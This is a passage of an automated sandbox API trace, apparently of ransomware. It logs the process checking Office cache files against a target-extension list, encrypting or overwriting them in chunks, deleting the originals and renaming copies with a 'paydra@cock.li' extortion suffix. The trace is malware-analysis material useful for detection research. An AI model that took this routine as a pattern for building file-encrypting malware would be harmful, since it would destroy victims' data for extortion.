[0036.220] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fa1098 | out: hHeap=0x4b0000) returned 1 [0036.220] CloseHandle (hObject=0x170) returned 1 [0039.157] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0039.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.157] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.157] lstrlenW (lpString=".doc") returned 4 [0039.157] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.157] lstrlenW (lpString=".docx") returned 5 [0039.158] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.158] lstrlenW (lpString=".pdf") returned 4 [0039.158] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString=".xls") returned 4 [0039.158] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString=".xlsx") returned 5 [0039.158] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.158] lstrlenW (lpString=".ppt") returned 4 [0039.158] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString=".zip") returned 4 [0039.158] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString=".rar") returned 4 [0039.158] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString=".bz2") returned 4 [0039.158] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.158] lstrlenW (lpString=".7z") returned 3 [0039.158] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString=".dbf") returned 4 [0039.158] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString=".1cd") returned 4 [0039.158] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString=".jpg") returned 4 [0039.158] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.158] lstrlenW (lpString=".doc") returned 4 [0039.158] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0039.158] lstrlenW (lpString=".docx") returned 5 [0039.159] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0039.159] lstrlenW (lpString=".pdf") returned 4 [0039.159] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString=".xls") returned 4 [0039.159] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString=".xlsx") returned 5 [0039.159] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0039.159] lstrlenW (lpString=".ppt") returned 4 [0039.159] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.159] lstrlenW (lpString=".zip") returned 4 [0039.159] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString=".rar") returned 4 [0039.159] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString=".bz2") returned 4 [0039.159] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0039.159] lstrlenW (lpString=".7z") returned 3 [0039.159] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0039.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.159] lstrlenW (lpString=".dbf") returned 4 [0039.159] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0039.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.159] lstrlenW (lpString=".1cd") returned 4 [0039.159] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0039.159] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PubLR.cab") returned 72 [0039.159] lstrlenW (lpString=".jpg") returned 4 [0039.159] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0039.172] lstrcmpiW (lpString1=".msi", lpString2=".html") returned 1 [0039.172] lstrlenW (lpString="Proof.msi") returned 9 [0039.172] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0039.173] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=875520) returned 1 [0039.173] CloseHandle (hObject=0x198) returned 1 [0039.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 0x2020 [0039.173] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0039.173] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.173] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.173] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0039.176] GetLastError () returned 0x0 [0039.176] ReadFile (in: hFile=0x198, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0xd5c00, lpOverlapped=0x0) returned 1 [0039.198] WriteFile (in: hFile=0x180, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xd5c10, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xd5c10, lpOverlapped=0x0) returned 1 [0039.212] ReadFile (in: hFile=0x198, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.212] WriteFile (in: hFile=0x180, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.212] SetEndOfFile (hFile=0x180) returned 1 [0039.213] CloseHandle (hObject=0x180) returned 1 [0039.572] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.572] SetEndOfFile (hFile=0x198) returned 1 [0039.579] CloseHandle (hObject=0x198) returned 1 [0039.579] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0039.579] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi")) returned 1 [0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.580] lstrlenW (lpString=".doc") returned 4 [0039.580] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.580] lstrlenW (lpString=".docx") returned 5 [0039.580] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.580] lstrlenW (lpString=".pdf") returned 4 [0039.580] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.580] lstrlenW (lpString=".xls") returned 4 [0039.580] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.580] lstrlenW (lpString=".xlsx") returned 5 [0039.580] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.580] lstrlenW (lpString=".ppt") returned 4 [0039.580] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.580] lstrlenW (lpString=".zip") returned 4 [0039.580] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.580] lstrlenW (lpString=".rar") returned 4 [0039.580] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.580] lstrlenW (lpString=".bz2") returned 4 [0039.580] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.580] lstrlenW (lpString=".7z") returned 3 [0039.580] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.580] lstrlenW (lpString=".dbf") returned 4 [0039.580] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.580] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.580] lstrlenW (lpString=".1cd") returned 4 [0039.581] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString=".jpg") returned 4 [0039.581] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString=".doc") returned 4 [0039.581] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0039.581] lstrlenW (lpString=".docx") returned 5 [0039.581] lstrcmpiW (lpString1=".docx", lpString2="f.msi") returned -1 [0039.581] lstrlenW (lpString=".pdf") returned 4 [0039.581] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0039.581] lstrlenW (lpString=".xls") returned 4 [0039.581] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0039.581] lstrlenW (lpString=".xlsx") returned 5 [0039.581] lstrcmpiW (lpString1=".xlsx", lpString2="f.msi") returned -1 [0039.581] lstrlenW (lpString=".ppt") returned 4 [0039.581] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString=".zip") returned 4 [0039.581] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0039.581] lstrlenW (lpString=".rar") returned 4 [0039.581] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0039.581] lstrlenW (lpString=".bz2") returned 4 [0039.581] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0039.581] lstrlenW (lpString=".7z") returned 3 [0039.581] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString=".dbf") returned 4 [0039.581] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0039.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.581] lstrlenW (lpString=".1cd") returned 4 [0039.582] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0039.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi") returned 81 [0039.582] lstrlenW (lpString=".jpg") returned 4 [0039.582] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0039.582] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0039.582] lstrlenW (lpString="Proof.cab") returned 9 [0039.582] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0039.779] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=13642474) returned 1 [0039.779] CloseHandle (hObject=0x1dc) returned 1 [0039.779] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0039.779] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0039.779] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0039.780] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0039.780] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0x0) returned 1 [0039.780] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.780] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.794] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.794] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.799] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b1fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0039.799] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc2c | out: lpNewFilePointer=0x0) returned 1 [0039.799] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b1fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b1fc38*=0x40000, lpOverlapped=0x0) returned 1 [0039.815] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.815] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2b1fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b1fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0040.099] SetEndOfFile (hFile=0x1dc) returned 1 [0040.099] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0040.099] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.100] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.100] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.100] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.101] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.101] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b1fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x2b1fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.102] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0040.102] CloseHandle (hObject=0x1dc) returned 1 [0042.295] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0042.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.296] lstrlenW (lpString=".doc") returned 4 [0042.296] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString=".docx") returned 5 [0042.296] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.296] lstrlenW (lpString=".pdf") returned 4 [0042.296] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString=".xls") returned 4 [0042.296] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString=".xlsx") returned 5 [0042.296] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.296] lstrlenW (lpString=".ppt") returned 4 [0042.296] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.296] lstrlenW (lpString=".zip") returned 4 [0042.296] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString=".rar") returned 4 [0042.296] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.296] lstrlenW (lpString=".bz2") returned 4 [0042.296] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.296] lstrlenW (lpString=".7z") returned 3 [0042.296] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.296] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.296] lstrlenW (lpString=".dbf") returned 4 [0042.297] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString=".1cd") returned 4 [0042.297] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString=".jpg") returned 4 [0042.297] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString=".doc") returned 4 [0042.297] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString=".docx") returned 5 [0042.297] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0042.297] lstrlenW (lpString=".pdf") returned 4 [0042.297] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString=".xls") returned 4 [0042.297] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString=".xlsx") returned 5 [0042.297] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0042.297] lstrlenW (lpString=".ppt") returned 4 [0042.297] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString=".zip") returned 4 [0042.297] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString=".rar") returned 4 [0042.297] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0042.297] lstrlenW (lpString=".bz2") returned 4 [0042.297] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0042.297] lstrlenW (lpString=".7z") returned 3 [0042.297] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0042.297] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.297] lstrlenW (lpString=".dbf") returned 4 [0042.298] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.298] lstrlenW (lpString=".1cd") returned 4 [0042.298] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0042.298] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0042.298] lstrlenW (lpString=".jpg") returned 4 [0042.298] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0042.298] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0042.298] lstrlenW (lpString="VisioLR.cab") returned 11 [0042.298] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0042.298] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=50823389) returned 1 [0042.298] CloseHandle (hObject=0x1dc) returned 1 [0042.298] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0042.298] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0042.299] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All 